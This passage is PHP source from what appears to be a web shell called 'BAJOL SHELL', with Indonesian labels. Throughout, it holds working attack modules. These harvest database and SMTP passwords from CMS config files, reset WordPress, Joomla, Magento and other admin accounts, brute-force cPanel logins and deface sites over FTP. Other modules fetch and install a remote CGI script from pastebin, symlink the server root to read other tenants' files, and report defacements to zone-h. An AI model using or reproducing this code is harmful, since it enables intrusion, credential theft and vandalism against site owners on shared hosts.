preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=lavender>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=lavender>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_idx_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
}
echo "</div>";
}
//////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'auto_edit_user') {
if($_POST['hajar']) {
if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
echo "username atau password harus lebih dari 6 karakter";
} else {
$user_baru = $_POST['user_baru'];
$pass_baru = md5($_POST['pass_baru']);
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/JConfig|joomla/",$config)) {
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/WordPress/",$config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Wordpress<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/Magento|Mage_Core/",$config)) {
$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
$prefix = $dbprefix."admin_user";
$option = $dbprefix."core_config_data";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
$result2 = mysql_fetch_array($q2);
$target = $result2[value];
if($target == '') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Magento<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
$dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
$dbuser = ambilkata($config,"'DB_USERNAME', '","'");
$dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
$dbname = ambilkata($config,"'DB_DATABASE', '","'");
$dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
$prefix = $dbprefix."user";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$target = ambilkata($config,"HTTP_SERVER', '","'");
if($target == '') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => OpenCart<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
$dbhost = ambilkata($config,'server = "','"');
$dbuser = ambilkata($config,'username = "','"');
$dbpass = ambilkata($config,'password = "','"');
$dbname = ambilkata($config,'database = "','"');
$prefix = "users";
$option = "identitas";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
$result = mysql_fetch_array($q);
$target = $result[alamat_website];
if($target == '') {
$target2 = $result[url];
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
if($target2 == '') {
$url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$cek_login3 = file_get_contents("$target2/adminweb/");
$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
$url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
$url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
} else {
$url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
} else {
$cek_login = file_get_contents("$target/adminweb/");
$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
$url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
$url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
} else {
$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Lokomedia<br>";
if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center>
<h1>Auto Edit User Config</h1>
<form method='post'>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set User & Pass: <br>
<input type='text' name='user_baru' value='bajol' placeholder='user_baru'><br>
<input type='text' name='pass_baru' value='bajol' placeholder='pass_baru'><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
}
////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'cpanel') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
} else {
$i++;
if(function_exists('posix_getpwuid')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == '') {
$dom = "<font color=red>gabisa ambil nama domain nya</font>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url['name'];
if($user_cp_url == $ucp) {
$dom = "<a href='http://$dj/' target='_blank'><font color=blue>$dj</font></a>";
break;
}
}
}
} else {
$dom = "<font color=red>function is Disable by system</font>";
}
echo "username (<font color=blue>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>BAJOL SHELL</font>";
}
} else {
echo "<center>
<form method='post'>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/^[client]$/", $ambil)) {
preg_match("/password=(.*?)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
} else {
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Crack'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'cpftp_auto') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
//
} else {
echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
$ftp_conn = ftp_connect($ip);
$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
if((!$ftp_login) || (!$ftp_conn)) {
echo "[+] <font color=red>Login Gagal</font><br><br>";
} else {
echo "[+] <font color=lime>Login Sukses</font><br>";
$fi = htmlspecialchars($_POST['file_deface']);
$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
if($deface) {
$i++;
echo "[+] <font color=lime>Deface Sukses</font><br>";
if(function_exists('posix_getpwuid')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == '') {
echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url['name'];
if($user_cp_url == $ucp) {
echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
break;
}
}
}
} else {
echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
}
} else {
echo "[-] <font color=red>Deface Gagal</font><br><br>";
}
}
//echo "username (<font color=blue>$ucp</font>) password (<font color=blue>$pcp</font>)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses deface ".$i." Cpanel by <font color=lime>BAJOL SHELL.</font>";
}
} else {
echo "<center>
<form method='post'>
Filename: <br>
<input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
Deface Page: <br>
<input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Hajar'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'smtp') {
echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
function scj($dir) {
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = '","'");
$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
$smtp_user = ambilkata($ambil,"smtpuser = '","'");
$smtp_pass = ambilkata($ambil,"smtppass = '","'");
$smtp_port = ambilkata($ambil,"smtpport = '","'");
$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
echo "SMTP port: <font color=lime>$smtp_port</font><br>";
echo "SMTP user: <font color=lime>$smtp_user</font><br>";
echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
}
////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'auto_wp') {
if($_POST['hajar']) {
$title = htmlspecialchars($_POST['new_title']);
$pn_title = str_replace(" ", "-", $title);
if($_POST['cek_edit'] == "Y") {
$script = $_POST['edit_content'];
} else {
$script = $title;
}
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."posts";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
$update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
$update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
echo "<div style='margin: 5px auto;'>";
if($target == '') {
echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
} else {
echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
}
if(!$update OR !$conn OR !$db) {
echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
} else {
echo "<font color=lime>sukses di ganti.</font><br>";
}
echo "</div>";
mysql_close($conn);
}
}
} else {
echo "<center>
<h1>Auto Edit Title+Content WordPress</h1>
<form method='post'>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set Title: <br>
<input type='text' name='new_title' value='Hacked by BAJOL' placeholder='New Title'><br><br>
Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
<span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
<textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'defacerid') {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='hekel' size='50' value='Nickmu Jancok'><br>
<u>Team</u>: <br>
<input type='text' name='tim' size='50' value='Surabaya Cyber Attacker'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
<input type='submit' name='go' value='Submit' style='width: 450px;'>
</form>";
$site = explode("
", $_POST['sites']);
$go = $_POST['go'];
$hekel = $_POST['hekel'];
$tim = $_POST['tim'];
if($go) {
foreach($site as $sites) {
$zh = $sites;
$form_url = "https://www.defacer.id/notify";
$data_to_post = array();
$data_to_post['attacker'] = "$hekel";
$data_to_post['team'] = "$tim";
$data_to_post['poc'] = 'SQL Injection';
$data_to_post['url'] = "$zh";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL, $form_url);
curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
$result = curl_exec($curl);
echo $result;
curl_close($curl);
echo "<br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'zoneh') {
if($_POST['submit']) {
$domain = explode("
", $_POST['url']);
$nick = $_POST['nick'];
echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
function zoneh($url,$nick) {
$ch = curl_init("http://www.zone-h.com/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
echo "$url -> <font color=blue>OK</font><br>";
} else {
echo "$url -> <font color=red>ERROR</font><br>";
}
}
} else {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='nick' size='50' value='Your Nick'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
<input type='submit' name='submit' value='Submit' style='width: 450px;'>
</form>";
}
echo "</center>";
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'cgi') {
$cgi_dir = mkdir('bajol_cgi', 0755);
$file_cgi = "bajol_cgi/cgi.izo";
$isi_htcgi = "AddHandler cgi-script .izo";
$htcgi = fopen(".htaccess", "w");
$cgi_script = file_get_contents("http://pastebin.com/raw/Lj46KxFT");
$cgi = fopen($file_cgi, "w");
fwrite($cgi, $cgi_script);
fwrite($htcgi, $isi_htcgi);
chmod($file_cgi, 0755);
echo "<iframe src='bajol_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'fake_root') {
ob_start();
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST['reverse']) {
$site = explode("
", $_POST['url']);
$file = $_POST['file'];
foreach($site as $url) {
$cek = getsource("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
}
}
} else {
echo "<center><form method='post'>
Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
Domain: <br>
<textarea style='width: 450px; height: 250px;' name='url'>";
reverse($_SERVER['HTTP_HOST']);
echo "</textarea><br>
<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
</form><br>
NB: Sebelum gunain Tools ini bismillah dulu, upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'symlink') {
@set_time_limit(0);
echo "<br><br><center><h1>Symlink</h1></center><br><br><center><div class=content>";
@mkdir('bajol_sym',0777);
$htaccess = "Options all
DirectoryIndex bajol.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('bajol_sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','bajol_sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','bajol_sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='bajol_sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
//////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'adminer') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font color=blue><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
echo "<center><font color=blue><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
} else {
echo "<center><font color=red>gagal buat file adminer</font></center>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'auto_dwp') {
if($_POST['auto_deface_wp']) {
